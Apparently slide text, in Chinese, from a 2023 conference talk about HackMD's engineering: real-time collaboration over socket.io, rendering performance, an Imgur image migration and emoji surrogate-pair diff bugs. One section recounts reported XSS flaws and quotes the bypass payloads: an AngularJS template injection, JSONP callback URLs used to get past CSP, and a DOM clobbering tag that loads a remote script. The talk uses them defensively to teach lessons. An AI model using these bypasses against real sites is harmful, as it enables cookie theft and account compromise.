Max Wu @ WebConf Taiwan 2023
開放協作!建立社群!
PyCon TW COSCUP MOPCON SITCON HITCON LaravelConf Modern Web DevOpsDay Taipei Agile Summit
Ethereum g0v Rust Lang nf-core ETHTaipei GovComms Wikidata Taiwan OpenStreetMap HackingThursday matplotlib Fedora OpenStack Kubernetes Node.js OCaml OpenStack Nordic RSE Astro
用純文字與他人協作知識的平台
黑客松、社群小聚、遠端會議、實驗研究、開發文件等…
HackMD 如何讓協作能很即時的收到更新?
最開始的時候就採用 socket.io
筆記 = 房間
筆記內文 = 地圖
使用者 = 玩家
游標位置 = 玩家座標
同時有多人要加入房間 需要排隊
一台伺服器能乘載的人數有限 分多台協作伺服器
內文或是資料太大包 只回傳差異範圍
heartbeat
每隔幾秒跟伺服器問候一下 (ping/pong)
這樣才能確認正在線上的所有 clients 名單
如果 heartbeat 沒有回應,會視同斷線
因此如果前端太忙無法回應,就會斷線了喔!
當有越多 clients,會消耗越多的記憶體 (線性成長)
因此有大量的使用者時,會需要多台的節點
可以用 Cluster 模式,這樣也能利用到多核心 CPU 的優勢
每台節點的 context 不同 (例如暫存的筆記內容不同)
當 client 傳遞事件時,需要保持跟其中一台對談
如果每次都送到不同節點,那節點之間就要付出事件傳遞的成本
有些狀況需要從讓協作節點間互相傳遞事件
或是讓外部傳遞事件進入
例如:
打 web API,需要讓協作節點同步資料,也向 client 發出事件
這時候可以用 socket.io
Adapter,有多種實作方式:
redis, mongodb, postgresql
後端的 websocket 有多種實作,可以替換成
eiows, uws, uWebSockets.js, ws
也可以在使用者離線事件中,手動觸發 gc()
清出記憶體
socket.io
推坑大會 這個水很深
剛說過,因為有 heartbeat,如果:
以上都會導致 websocket 暫時斷線
自動重新連線的機制,socket.io
有實作
需要減少同時傳入的事件
可以將多個事件累計後變成一個事件發出
需要認知到 websocket 並不能保證使用者隨時都在線上
因此要做好斷線與重連的恢復機制
筆記內文 = 地圖
如果內文很長需要捲動,顯示的效能會嚴重影響閱讀體驗
如果偵測哪些元素是在可見範圍,只針對那塊顯示與渲染?
但檢查哪些元素是可見的,就會需要評估元素的大小與位置
Element.getBoundingClientRect()
這會觸發瀏覽器 layout 效能不好
有方法可以讓元素自己告訴我它現在是否可以被看到嗎?
let options = {
root: document.querySelector("#scrollArea"),
rootMargin: "0px",
threshold: 1.0,
};
let observer = new IntersectionObserver(callback, options);
建立一個 IntersectionObserver 給予可捲動的元素 root
當捲動元素,使內部的元素進入或是離開可見範圍時
會呼叫 callback 事件,參數會提供元素的資訊與交集比例
boundingClientRect, intersectionRatio, intersectionRect, isIntersecting, rootBounds, target, time
這樣一來,我們可以完全不用去記錄與計算每個元素的位置
處於觀察者的角色,等待元素交集時的事件發生
當 isIntersecting
為 true
時,就標示這個元素可見
或是設定將不可見的元素給予 visibility: hidden;
渲染時可以只針對可見元素處理做後處理
(例如:顯示數學公式)
效能好到不行
但別忘記 XSS!顯示前要先過濾 (會影響效能)
就像抓漏,怎樣都有洞…
簡單來說,在使用者可以輸入的地方
寫入 <script>
或是各種奇形怪招
讓網頁執行的時候,組成非預期的程式碼
把使用者的資料傳出去,或是做不該做的事
(例如把 Cookies 偷走、偷偷跑挖礦程式)
幫 HTML 消毒 Sanitizer
Before:
abc <script>alert(1)</script> def
After:
abc def
你以為這樣就乾淨了嗎?
直接對過濾 XSS 的 function preventXSS
下手
利用 CSP 允許的 https://cdnjs.cloudflare.com/
載入 AngularJS
再用 template injection 執行不安全的程式碼
{{constructor.constructor('alert(1)')()}}
結論:HTML 註解語法也要處理!
$value.parent().append('<div class="alert alert-warning">' + err + '</div>')
err
會直接顯示在網頁上,沒做過濾但是有字數限制
```graphviz
graph<<script src="https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V">
結論:錯誤訊息也要過濾 XSS!
Note:
完整 writeup
https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md
HackMD 新增了顯示 figma 的功能,然後就出漏洞了…
顯示時會找尋網頁 data-figma-src
的值來組合成 figma 網址
而這段沒過濾!
這次被繞過 CSP 用的是 www.google.com
的 JSONP callback
https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
怎麼被回報漏洞的速度比出功能的速度還快?!
結論:code review 時也要檢查 XSS!
利用嵌入 vimeo 影片的語法,顯示時會呼叫 vimeo 的 JSONP //vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random
幸好 vimeo 會過濾 callback 的參數
callback 時會把不安全的指令過濾…
以為就這樣嗎?但漏洞總是挖呀挖挖呀挖
發現 https://vimeo.com/blog
是用 WordPress 架設的
整個網站找啊找找到一程式碼,可以非同步載入 script
s.src = _zxcvbnSettings.src;
這時候,使出 DOM clobbering,控制 src 的值放入 payload:
<img src="https://host/xss.js" id="_zxcvbnSettings">
結論:嚴格過濾影片網址 videoid
CSP 又被繞過了…外站的程式被利用成本站的漏洞…
就算有 CSP, X-XSS-Protection, Sanitizer 等
也不代表就沒有 XSS 漏洞,總是有繞過的招數
做新功能時要檢查是否有正確的過濾字串再顯示
HackMD 需要非常注意過濾處理的效能
人生真難
免費的最貴…
有一天,收到了這樣的通知
HackMD 從很早的時候就有整合 Imgur
方便使用者在寫筆記時能直接上傳圖片
這下…麻煩了…
要寫程式處理所有筆記嗎?
有多少篇筆記裡面有多少個 imgur 圖片網址呢?
要如何快還要更快呢?
直接用 SQL 跑 regex 將筆記中的網址插入 table
regexp_matches(content, E'(https://i\\.imgur\\.com/([^\\s)\\n"\\/\\]\\?][a-zA-Z0-9]+\\.[a-zA-Z0-9]+))', 'g') AS urls
有這麼多圖片網址,要怎麼樣在一週內全部轉移?
AWS Lambda 平行跑起來!
最多時有 15 個工作平行在跑,每秒可以轉移 50~100 張圖片
最後統計一共轉移了 1.9TB 的資料
未來所有使用者上傳圖片都使用 HackMD 的專屬圖床
避免這種事情再次發生,一勞永逸!
裂開了就沒辦法顯示!
各位知道 emoji 可能是用多個 Unicode 表示嗎?
👋➕🏻🟰👋🏻
Emoji Modifier Sequences
更神奇的是!
怎麼會有兩個 Emoji 的 UTF-16 編碼相同?
同一個 Emoji 編碼怎麼又不同?
🤯🤯🤯
Unicode 是個 21 位元的標準
JavaScript 採用的是 UTF-16,最多可以表示 65,535 個字元
有些 Emoji 編碼索引超過 65,535,就會用兩個 Unicode 組成
一個高位字元 (high surrogate) 與一個低位字元 (low surrogate) 組成一對 (surrogate pair) 來表示
相信大家用過 git 可能看過這個:
@@ -1 +1 @@
-a
+b
GNU diff Unified Format
HackMD 會自動幫筆記產生版本紀錄
每個版本紀錄會計算出差異範圍
diff-match-patch
Diff: 比較字串差異
Match: 找出相近字串
Patch: 套用字串差異
HackMD 採用這套比對文字差異
如果 diff 兩個 emoji
有可能把 emoji 切成兩個 Unicode 來比較
Error: invalid input syntax for type json
DETAIL: Unicode low surrogate must follow a high surrogate
然後資料庫就爆炸了
diff 可能會產出 lone surrogates 導致無法顯示
Google 萬年不 merge PR
可以正常的 diff 出 emoji 的變更了!!
自己
自己與未來的他人 有限的團體
與不特定對象連結 公眾
Light/Dark mode
支援 Grammarly、手機版體驗提升
編輯與顯示效能大提升
社群、留言討論、探索知識